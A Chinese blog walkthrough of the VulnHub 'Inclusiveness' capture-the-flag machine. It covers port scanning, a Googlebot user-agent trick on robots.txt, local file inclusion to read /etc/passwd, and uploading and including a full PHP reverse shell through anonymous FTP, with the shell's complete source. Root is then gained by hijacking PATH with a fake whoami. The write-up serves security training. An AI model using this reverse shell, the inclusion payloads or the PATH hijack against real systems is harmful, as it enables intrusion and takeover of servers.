当前位置: 首页 > news >正文

实战打靶集锦-38-inclusiveness

文章目录

  • 1. 主机发现
  • 2. 端口扫描&服务枚举
  • 3. 服务探查
  • 4.系统提权

靶机地址:https://download.vulnhub.com/inclusiveness/Inclusiveness.ova


1. 主机发现

目前只知道目标靶机在192.168.56.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.56.0/24

在这里插入图片描述
锁定靶机IP地址为192.168.56.111。

2. 端口扫描&服务枚举

通过下面的命令进行端口扫描。

$ sudo nmap -p- 192.168.56.111

在这里插入图片描述
开了ftp、ssh、http,枚举一下服务。

$ sudo nmap -p21,22,80 -A -sT -sV 192.168.56.111

在这里插入图片描述
显示的信息不算惊艳,也不算太少。

3. 服务探查

首先看看ftp下有些啥。

$ ftp 192.168.56.111

在这里插入图片描述
root用户不好使,不过anonymous用户和空密码顺利进入,看看都有些啥。
在这里插入图片描述
可惜的是除了一个名为pub的空目录,其它啥都没有,先放一边。然后浏览器看一下http服务。
在这里插入图片描述
又是apache的首页,还是扫描一下(我觉得以后都可以直接扫描了)。
在这里插入图片描述
我们先看看robots.txt。
在这里插入图片描述
没啥内容,不过这个提示语可能有用,暂时不知道这里的搜索引擎指的是啥。看看另一个robots.txt页面。
在这里插入图片描述
这么多的robots相关的,内容是一样的。dirb挂上big字典搜索一下。
在这里插入图片描述
分别由发现了一个php页面,三个html页面,不过进去后没啥新发现。到目前为止,没有啥进展。目前来看有两种可能性,第一是vsftpd 3.0.3版本上是否由漏洞,能够突破进入root用户发现一些内容;第二就是还有些页面我们并没有扫描出来。先看看vsftpd。
在这里插入图片描述
没有合适的漏洞,看来只有可能再次扫描了,可是用尽了各种扫描手法,都没有新的发现。再想想那句话,搜索引擎到底是啥呢,不经意间,在/manual/index.html页面发现了google。

可是,当输入关键字robots进行搜索的时候,是指向google的,我们临时在hosts文件中将google指向靶机地址试试看。
在这里插入图片描述
这时候直接not found了,这条路也堵死了。我们前面扫描了php、html,有没有可能是类似robots的txt页面呢?又或者htm页面,或者shtm等?直接试试吧,把我能想到的类型都放进去(黔驴技穷了)。

$ dirb http://192.168.56.111 /usr/share/wordlists/dirb/big.txt -X .txt,.htm,.shtml,.shtm,.js,.sh,.c,.py

在这里插入图片描述
还真是不少,以后长见识了,搜文件的时候多加几个后缀,速度一点都不会影响多少。不过里面的内容一点都没变,跟之前robots.txt中的一样:You are not a search engine! You can’t read my robots.txt!。这句话仔细品品,我们之前的访问都是通过浏览器访问的,可能导致了靶机认为我不是搜索引擎,只有所有引擎才可以读取robots的内容。我们得想办法让靶机认为我们是搜索引擎,先分析一下我们请求robots.txt的时候burp上抓的流量。
在这里插入图片描述
感觉应该是user agent来决定的。直接搜索各大搜索引擎的UA信息,搜到了一篇比较有价值的文章(https://blog.csdn.net/YLBF_DEV/article/details/136656278),感谢YLBF_DEV大佬。直接用bing和google试一下。
在这里插入图片描述
Bing貌似没有成功,再试试google。
在这里插入图片描述
也没有成功,直接用curl命令指定user agent试试看。

$ curl -A "bingbot" http://192.168.56.111/robots.txt
$ curl -A "Googlebot" http://192.168.56.111/robots.txt

在这里插入图片描述
用google是可以的,先看看这个secret_information下面是些什么。
在这里插入图片描述
有两个超链接,点击看看,没啥特别的,只是语言切换,没有特别发现,挂上burp试试看。
在这里插入图片描述

还是有所发现的,根据之前的经验,直接引用文件,是可能存在本地文件包含的漏洞的,直接将es.php替换成./…/…/…/…/…/…/…/…/…/…/…/etc/passwd,看是否可以打印靶机的passwd文件内容。
在这里插入图片描述
确实可以,一方面验证了文件包含漏洞,另一方面发现了可以shell登录的用户tom。
再回过头来分析,这里虽然可以包含文件,但是目前还没有发现网页上哪里可以上传文件。考虑我们前面发现的FTP,看看是不是anonymous用户可以上传文件。
在这里插入图片描述
这里做了一个名为myfile的文件,里面的内容如上图所示。通过anonymous用户上传到ftp。
在这里插入图片描述
貌似没法上传啊,看看能不能抓到vsftp的配置文件吧,一般为/etc/vsftpd.conf,试试看。
在这里插入图片描述
太好了,这里发现了匿名用户上传文件的路径为/var/ftp,如下图。
在这里插入图片描述
再上传一下试试看。

在这里插入图片描述
上传成功了,看来根目录不能上传,只能上传到pub目录下。这样一来,我们就知道了文件的路径为/var/ftp/pub/,访问一下看看:

http://192.168.56.111/secret_information/?lang=../../../../../../../../../../../../var/ftp/pub/myfile

在这里插入图片描述
顺利获取到了我们的文件,这样我们上传一个反弹shell的php文件,内容这里就不说了,一会儿上代码。
在这里插入图片描述
这次执行,没有response,不过后台执行了php脚本,成功建立了反弹shell,如下图。
在这里插入图片描述
到此为止,顺利进入了靶机,上传一下php脚本的源代码。

<?phpset_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.56.108';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;
} else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}// Change to a safe directory
chdir("/");// Remove any umask we inherited
umask(0);//
// Do the reverse shell...
//// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {printit("$errstr ($errno)");exit(1);
}// Spawn shell process
$descriptorspec = array(0 => array("pipe", "r"),  // stdin is a pipe that the child will read from1 => array("pipe", "w"),  // stdout is a pipe that the child will write to2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);
}// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}
}fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {if (!$daemon) {print "$string\n";}
}?>

4.系统提权

先用python优化一下shell

$ /usr/bin/python3.7 -c "import pty; pty.spawn('/bin/bash')"

在这里插入图片描述
获取一下系统信息。

在这里插入图片描述
64位的debian10,内核版本4.19.67。直接上传并运行一下linpeas脚本。
首先有个PwnKit的提权漏洞。
在这里插入图片描述
直接编译上传试用一下。
在这里插入图片描述
提权失败。其次是发现了两个Unknown SUID binary,如下图。
在这里插入图片描述
我们研究这两个SUID的。首先第一个,需要密码,并且也不太会用。
在这里插入图片描述
第二个比较有意思,不仅有rootshell的可执行文件,还有源代码rootshell.c,看是否能够看到内容,估计是要切换到tom用户才可以。
在这里插入图片描述
确实可以在当前用户下可以看到源代码。逻辑倒是不复杂,不过确实上来先判断是否为tom用户,如果是tom,就可以赋予root。接下来要想办法切换到tom用户。先用弱密码试试,不行爆破。
在这里插入图片描述
可惜爆破了一个小时也没结果,隐隐感觉前面的rootshell里面还隐藏着一些没有意识到的东西,否则出现这个源代码就失去了靶机的尿性。
这个代码里面,判断是否为tom是基于whoami的输出。那有没有可能让whoami造假呢?上网搜一下怎么改写或者替换whoami程序。Kimi给了两种方式,第一种使用别名的方式,可以让whoami的输出变化,如下图。
在这里插入图片描述
我们试一下。

www-data@inclusiveness:/tmp$ alias whoami='echo "tom"'

在这里插入图片描述
哈哈,whoami的输出成功边程了tom,这时候我们回来运行一下那个rootshell程序。
在这里插入图片描述
呀,不能用sudo执行,直接执行试试看。
在这里插入图片描述
嗯,确实可以直接执行,不过虽然打印出来是tom,但是执行程序的时候,还是返回了www-data。看看kimi给的另一种办法。
在这里插入图片描述
因为当前用户没有sudo权限,我们在/tmp下创建一个whoami,内容如下。
然后赋予可执行权限。

www-data@inclusiveness:/tmp$ chmod u+x whoami

执行一下试试看。
在这里插入图片描述
嗯,可以输出tom了,接下来,要让环境变量指向我们的whoami,先看看当前的whoami和当前的环境变量内容。
在这里插入图片描述
临时修改一下环境变量,并测试一下。

www-data@inclusiveness:/tmp$ export PATH=/tmp:$PATH

在这里插入图片描述
再运行一下rootshell。
在这里插入图片描述
这次貌似提权成功了,验证一下,并获取flag。
在这里插入图片描述
确认提权成功,到此结束。

相关文章:

实战打靶集锦-38-inclusiveness

文章目录 1. 主机发现2. 端口扫描&服务枚举3. 服务探查4.系统提权 靶机地址&#xff1a;https://download.vulnhub.com/inclusiveness/Inclusiveness.ova 1. 主机发现 目前只知道目标靶机在192.168.56.xx网段&#xff0c;通过如下的命令&#xff0c;看看这个网段上在线的主…...

01人工智能基础入门

一、AI应用场景和发展历程 1.1行业应用 1、deepdream图像生成、yolo目标检测 2、知识图谱、画风迁移 3、语音识别、计算机视觉 4、用户画像 5、百度人工智能布局 1.2发展历程 人工智能的发展经历了 3 个阶段&#xff1a; 1980年代是正式成形期&#xff0c;尚不具备影响力。 …...

SortedSet结构之用户积分实时榜单实战

Redis 中的SortedSet结构非常适合用于实现实时榜单的场景&#xff0c;它根据成员的分数自动进行排序&#xff0c;支持高效的添加、更新和查询操作。 SortedSet实时榜单的一些典型应用场景&#xff1a; 游戏中的玩家排行榜&#xff1a;在多人在线游戏中&#xff0c;使用 Sorte…...

C++_类和对象(上)

【本节目标】 面向过程和面向对象初步认识类的引入类的定义类的访问限定符及封装类的作用域.类的实例化类的对象大小的计算类成员函数的this指针 1. 面向过程和面向对象初步认识 C语言是面向过程的&#xff0c;关注的是过程&#xff0c;分析出求解问题的步骤&#xff0c;通过…...

vllm作为服务启动,无需额外编写sh文件,一步到位【Ubuntu】

看到网上有的vllm写法&#xff0c;需要额外建立一个.sh文件&#xff0c;还是不够简捷。这里提供一种直接编写service文件一步到位的写法&#xff1a; vi /etc/systemd/system/vllm.service [Unit] DescriptionvLLM Service Afternetwork.target[Service] Typesimple Userroot…...

Mathematics | Branch

注&#xff1a;本文为“遇见数学”翻译的 “数学分支概览” 两篇文章合辑。 数学世界的版图&#xff1a;主要分支概览&#xff08;上&#xff09; 原创 遇见数学 2025 年 04 月 03 日 12:02 河南 数学的分支&#xff08;Areas of Mathematics&#xff09; 在文艺复兴之前&am…...

8.5/Q1,Charls最新文章解读

文章题目&#xff1a;Associations of estimated glucose disposal rate with frailty progression: results from two prospective cohorts DOI&#xff1a;10.1186/s12933-025-02650-7 中文标题&#xff1a;估计葡萄糖处理率与虚弱进展的关系&#xff1a;两个前瞻性队列的结果…...

PCL学习(5)随机采样一致性算法RANSAC

一、RANSAC概念及作用 1.1 基本概念 RANSAC是一种鲁棒的参数估计方法&#xff0c;用于从包含大量异常值的数据中拟合数学模型。其核心思想是通过随机采样和迭代验证&#xff0c;找到最优的模型参数&#xff0c;避免异常值的干扰。 1.2 核心思想 随机采样&#xff1a;每次从数…...

app逆向专题一:如何下载app

app逆向专题一&#xff1a;如何下载app 一、打开豌豆荚官网 一、打开豌豆荚官网 打开豌豆荚官网豌豆荚&#xff0c;在右上角搜索框中输入要下载的app名称 依次点击搜索–查看–普通下载&#xff0c;即可将apk文件下载到本地电脑上。...

将 DataFrame 中某一列的列表拆分成多个独立的列的方式

要将 DataFrame 中某一列的列表拆分成多个独立的列&#xff0c;可以使用以下方法&#xff0c;具体取决于数据结构和需求&#xff1a; 场景示例 假设 DataFrame 中 genres 列存储的是列表&#xff08;如 [drama, action]&#xff09;&#xff0c;目标是将每个列表元素拆分成多列…...

VUE+SPRINGBOOT+语音技术实现智能语音歌曲管理系统

语音控制歌曲的播放、暂停、增删改查 <template><div class"Music-container"><div style"margin: 10px 0"><!--检索部分--><el-input style"width: 200px;" placeholder"请输入歌曲名称"v-model"sen…...

安卓开发工程师-自定义 View

1. 如何创建一个简单的自定义 View&#xff1f; 创建自定义 View 的基本步骤如下&#xff1a; 继承 View 或其子类&#xff1a;自定义 View 可以继承自 View 或其他更具体的视图类&#xff08;如 ImageView、Button 等&#xff09;。重写构造方法&#xff1a;通常需要重写三个…...

Vue中权限控制的方案

文章目录 源码&#xff1a;一、页面级1.1、路由守卫1.2、动态路由 二、按钮级别2.1、通过v-if来判断2.2、通过组件包裹的方式来判断2.3、通过自定义指令的方式 三、接口级别 源码&#xff1a; https://gitee.com/liu-qiang-yyds/sysPermission 一、页面级 1.1、路由守卫 前端…...

磁盘分析工具合集:告别C盘焦虑!

今天李师傅带大家盘点五款硬盘空间分析利器&#xff0c;帮你精准定位那些"吃空间"的元凶&#xff0c;让C盘告别臃肿烦恼&#xff01; 一、WizTree 这款NTFS磁盘的"透视眼"堪称效率典范。它通过直接读取硬盘主文件表(MFT)实现秒级扫描&#xff0c;1TB机械…...

硬件学习之器件篇-蜂鸣器

根据工作原理的不同&#xff0c;可以分为电磁式蜂鸣器和压电式蜂鸣器。 1、电磁式蜂鸣器 电磁式蜂鸣器根据内部是否有震荡源&#xff0c;又可以分为有源电磁式蜂鸣器和无源电磁式蜂鸣器。 1.1 外观区别 有源电磁式蜂鸣器从底部看是&#xff0c;是黑胶密封的。 无源电磁式蜂…...

紫檀博物馆一游与软件开发

今天去逛了中国紫檀博物馆&#xff0c;里边很多层展品&#xff0c;也有一些清代的古物&#xff0c;檀木&#xff0c;黄花梨木家具和各种摆件&#xff0c;馆主陈丽华女士也是发心复原、保留和弘扬中国的传统文化&#xff0c;和西游记唐僧扮演者迟成瑞先生一家。 每一件展品都精…...

Cribl 新建Datatype

Cribl 数据dataset 有个很重要的就是datatype, 下面来新建一下: 先看一下原来的datatype : 再点击Add Datatype: Rule...

开源 LLM 应用开发平台 Dify 全栈部署指南(Docker Compose 方案)

开源 LLM 应用开发平台 Dify 全栈部署指南&#xff08;Docker Compose 方案&#xff09; 一、部署环境要求与前置检查 1.1 硬件最低配置 组件要求CPU双核及以上内存4GB 及以上磁盘空间20GB 可用空间 1.2 系统兼容性验证 ✅ 官方支持系统&#xff1a; Ubuntu 20.04/22.04 L…...

医药档案区块链系统

1. 医生用户模块​​ ​​目标用户​​&#xff1a;医护人员 ​​核心功能​​&#xff1a; ​​检索档案​​&#xff1a;通过关键词或筛选条件快速定位患者健康档案。​​请求授权​​&#xff1a;向个人用户发起档案访问权限申请&#xff0c;需经对方确认。​​查看档案​…...

Redis常见命令

(一)常见命令① 一、数据结构 二、通用命令 ①KEYS查询语句 pattern代表模板,有点像匹配表达式(不是正则),是redis的一种内置表达式,可以在里面使用通配符 底层存在一种模糊查询机制,效率并不高。当redis的数据量达到一定规模时(数百万上千万甚至更多),使用这种模糊查询机制会…...

Qt的window注册表读写以及删除

Qt的window注册表读写以及删除 1. 使用 QSettings&#xff08;Qt推荐方式&#xff09;基本操作关键点限制 2. 调用Windows原生API示例&#xff1a;创建/读取键值常用API注意事项 3. 高级场景(1) 递归删除键(2) 注册表权限修改 4. 安全性建议总结其他QT文章推荐 在Qt中操作Windo…...

纯css实现环形进度条

需要在中实现一个定制化的环形进度条&#xff0c;最终效果如图&#xff1a; 使用代码 <divclass"circular-progress":style"{--progress: nextProgress,--color: endSliderColor,--size: isFull ? 60rpx : 90rpx,}"><div class"inner-conte…...

20250405周赛-S

链接 A. 日历 我的&#xff1a; #include<bits/stdc.h> using namespace std; int n,d[105],ans; bool check(int x,int y){if(x<10){if(y<10){return xy;}else{return xy%10&&xy/10;}}else{if(y<10){return yx%10&&yx/10;}else{return y/10…...

某碰瓷国赛美赛,号称第三赛事的数模竞赛

首先我非常不能理解的就是怎么好意思自称第三赛事的呢&#xff1f;下面我们进行一个简单讨论&#xff0c;当然这里不对国赛和美赛进行讨论。首先我们来明确一点&#xff0c;比赛的含金量由什么来定&#xff1f;这个可能大家的评价指标可能不唯一&#xff0c;我通过DeepSeek选取…...

希象传屏下载

2025年4月5日&#xff0c;11~22℃ 免费软件&#xff0c;功能&#xff1a;手机、个人笔记本和智慧黑板可以双向控制。要求在同一网络下或者同一WiFi下。 目的&#xff1a;自己下载的时候比较方便。 1、希沃易官网 2、如何下载&#xff1f; 被投屏&#xff1a;接收端&#xff1…...

解决 PDF 难题:批量处理、文档清理与自由拆分合并

软件介绍 在日常办公与学习中&#xff0c;处理 PDF 文件常常让人头疼不已&#xff0c;不过别担心&#xff0c;今天有一款堪称神器的国产老牌 PDF 工具要分享给大家。它就是 PDF 补丁丁&#xff0c;凭借其强大功能&#xff0c;为大家排忧解难。 界面体验 初次打开 PDF 补丁丁&…...

SQL Server 2022 数据同步到 Elasticsearch 思考

公司的老项目了&#xff0c;采用的是sqlserver 2022作为数据卡做的&#xff0c;但是产品对接客户&#xff0c;发现对搜索的要求很高&#xff0c;尤其是全文检索&#xff0c;考虑到ES采用倒排所以效率上的优势和整体开发的成本&#xff0c;大佬们商量之后&#xff0c;果断的采用…...

基于Spark的哔哩哔哩舆情数据分析系统

【Spark】基于Spark的哔哩哔哩舆情数据分析系统 &#xff08;完整系统源码开发笔记详细部署教程&#xff09;✅ 目录 一、项目简介二、项目界面展示三、项目视频展示 一、项目简介 本项目基于Python和Django框架进行开发&#xff0c;为了便于广大用户针对舆情进行个性化分析处…...

分布式事务解决方案全解析:从经典模式到现代实践

前言 在分布式系统中&#xff0c;数据一致性是一个核心问题。随着微服务架构的普及&#xff0c;跨服务、跨数据库的操作变得越来越普遍&#xff0c;如何保证这些操作的原子性、一致性、隔离性和持久性&#xff08;ACID&#xff09;成为了一个极具挑战性的任务。本文将全面介绍…...

迈向未来:数字化工厂管理如何重塑生产力

迈向未来:数字化工厂管理如何重塑生产力 随着工业4.0的浪潮席卷全球,“数字化工厂管理”成为制造业转型的关键一步。从传统生产模式到数据驱动的智能制造,企业在追求生产效率、质量与灵活性方面实现了飞跃式发展。然而,实施数字化管理不仅仅是技术问题,更关乎流程优化、数…...

LeetCode 1863.找出所有子集的异或总和再求和

题解 根据上述图可以根据二进制运算获取所有的子集&#xff0c;但是可以使用二进制获取所有子集需要有题目的这一句话才能够使用注意&#xff1a;在本题中&#xff0c;元素相同的不同子集应多次计数。 也就是对于{2,2,3,4,5}的子集不会简化成{2,3,4,5} public static int sub…...

蓝桥云客---蓝桥速算

3.蓝桥速算【算法赛】 - 蓝桥云课 问题描述 蓝桥杯大赛最近新增了一项娱乐比赛——口算大赛&#xff0c;目的是测试选手的口算能力。 比赛规则如下&#xff1a; 初始给定一个长度为 N 的数组 A&#xff0c;其中第 i 个数字为 Ai​。随后数组会被隐藏&#xff0c;并进行 Q 次…...

Kafka 概念

&#x1f300; Kafka 是什么&#xff1f; Kafka 是一个分布式流处理平台&#xff0c;可以用来&#xff1a; &#x1f69a; 高效地收集、传输、存储、处理 实时数据流。 它最初由 LinkedIn 开发&#xff0c;用于解决海量日志处理的问题&#xff0c;后来开源给 Apache&#xff0…...

双向链表增删改查的模拟实现

本章目标 0.双向链表的基本结构 1.双向链表的初始化 2.头插尾插 3.头删尾删 4.查找与打印 5.在指定位置之前插入数据/在指定位置之后插入数据 6.在指定位置之前删除数据/在指定位置之后删除数据 7.销毁链表 0.双向链表的基本结构 本章所实现的双向链表是双向循环带头链表,是…...

配置ASP.NET Core+NLog配置日志示例

以下是一个精简且实用的 NLog 配置文件示例,适用于 ASP.NET Core 项目,包含文件日志、控制台日志和自动归档功能: NLog.config 示例‌ (保存到项目根目录) xml Copy Code <?xml version="1.0" encoding="utf-8" ?> <nlog xmlns="http:…...

Roo Code使用MCP服务(大模型上下文协议)

MCP概念火爆&#xff0c;但是理解起来有点难度&#xff0c;使用起来也有点难度。 启用MCP RooCode直接支持使用MCP服务&#xff0c;甚至可以帮助写MCP&#xff0c;为我们提供了很大的方便。单击 Roo Code 窗格顶部导航栏中的类似三个插座的图标&#xff0c;显示如下MCP的配置…...

【项目管理】第一部分 信息技术 1/2

相关文档&#xff0c;希望互相学习&#xff0c;共同进步 风123456789&#xff5e;-CSDN博客 概要 知识点&#xff1a; 现代化基础设施、数字经济、工业互联网、车联网、智能制造、智慧城市、数字政府、5G、常用数据库类型、数据仓库、信息安全、网络安全态势感知、物联网、大数…...

《UNIX网络编程卷1:套接字联网API》第6章 IO复用:select和poll函数

《UNIX网络编程卷1&#xff1a;套接字联网API》第6章 I/O复用&#xff1a;select和poll函数 6.1 I/O复用的核心价值与适用场景 I/O复用是高并发网络编程的基石&#xff0c;允许单个进程/线程同时监控多个文件描述符&#xff08;套接字&#xff09;的状态变化&#xff0c;从而高…...

Three.js 系列专题 1:入门与基础

什么是 Three.js? Three.js 是一个基于 WebGL 的 JavaScript 库,它简化了 3D 图形编程,让开发者无需深入了解底层 WebGL API 就能创建复杂的 3D 场景。它广泛应用于网页游戏、可视化、虚拟现实等领域。 学习目标 理解 Three.js 的核心组件:场景(Scene)、相机(Camera)…...

Qt框架深度解析:核心技术、应用场景与实战指南

Qt&#xff08;发音同“cute”&#xff09;是一个跨平台的C应用程序开发框架&#xff0c;广泛用于开发图形用户界面&#xff08;GUI&#xff09;程序&#xff0c;但也支持非GUI的后台服务、命令行工具等。它由挪威的Trolltech公司于1995年推出&#xff0c;后由诺基亚、Digia等公…...

低代码开发平台:飞帆中的控件中转区

低代码开发平台&#xff1a;飞帆中的控件中转区的作用 当控件因为尺寸太大难以拖到 div 框中时&#xff0c;可以先拖到控件中转区中&#xff0c;此时控件会变成一个标签&#xff0c;然后将这个标签拖到 div 框中即可。 飞帆 fvi.cn...

基于STM32的智能门禁系统设计与实现

一、项目背景与功能概述 在物联网技术快速发展的今天&#xff0c;传统门锁正在向智能化方向演进。本系统基于STM32F103C8T6微控制器&#xff0c;整合多种外设模块&#xff0c;实现了一个具备以下核心功能的智能门禁系统&#xff1a; 密码输入与验证&#xff08;4x3矩阵键盘&a…...

maven项目打包jar给其他项目pom外部引用

maven项目打包jar给其他项目pom外部引用 在现实开发过程中&#xff0c;很多代码需要被重复利用的&#xff0c;但是代码量又是很多&#xff0c;这样的代码可以提出出来作为公共代码或者叫做工具使用&#xff0c;通常这样的工具会以jar包的形式被其他项目pom引入使用。第一步 创…...

Linux线程

一、线程的使用 线程创建 函数原型及头文件 #include <pthread.h> int pthread_create(pthread_t *restrict tidp, const pthread_attr_t *restrict attr, void *(*start_rtn)(void *), void *restrict arg); 参数&#xff1a; tidp&#xff1a;当pthread_create成功…...

Keepalive+LVS+Nginx+NFS高可用项目

项目架构 分析 主机规划 主机系统安装应用网络IPclientredhat 9.5无NAT172.25.250.115/24lvs-masterrocky 9.5ipvsadm&#xff0c;keepalivedNAT172.25.250.116/24 VIP 172.25.250.100/32lvs-backuprocky 9.5ipvsadm&#xff0c;keepalivedNAT172.25.250.117/24 VIP 172.25.2…...

在线编辑数学公式

参考工具&#xff1a; https://www.processon.com/mathtype https://www.latexlive.com/ 一、简单好用的数学公式编辑工具推荐 1. MathType / AxMath • 特点&#xff1a;专业公式编辑软件&#xff0c;支持与Word、WPS等办公软件无缝集成&#xff0c;提供丰富的数学符号和模…...

【spring Cloud Netflix】OpenFeign组件

1.概述 Feign旨在使编写Java Http客户端变得更容易。前面在使用RibbonRestTemplate进行服务的远程调用 时&#xff0c;利用RestTemplate对Http请求的封装处理&#xff0c;形成了一套模板化的调用方法。但是在实际开发中&#xff0c;由 于对服务的依赖调用可不止一处&#xff0…...

基于Flask的Windows命令大全Web应用技术解析与架构设计

基于Flask的Windows命令大全Web应用技术解析与架构设计 引言 Windows命令行工具是系统管理和开发调试的核心技能之一。然而&#xff0c;许多用户对常用命令的用法和场景并不熟悉。本文通过一个基于Flask框架开发的Web应用&#xff0c;系统性地整理了50个Windows命令的用法&…...

Qt中左侧项目菜单中构建设置功能中的构建步骤是怎么回事

在 Qt Creator 中&#xff0c;**构建设置&#xff08;Build Settings&#xff09;下的构建步骤&#xff08;Build Steps&#xff09;**是控制项目如何编译、链接和生成最终产物的核心配置区域。它允许你自定义编译过程中的各个阶段&#xff08;如 qmake、make、cmake 等命令的具…...

(一)从零开始:用 LangChain 和 ZhipuAI 搭建简单对话

最近一直在研究如何用 LangChain 和 ZhipuAI 搭建一个智能对话系统&#xff0c;发现这个组合真的非常强大&#xff0c;而且实现起来并不复杂。今天就来分享一下我的学习过程和一些心得体会&#xff0c;希望能帮到同样在探索这个领域的小伙伴们。 一、 环境搭建&#xff1a;从零…...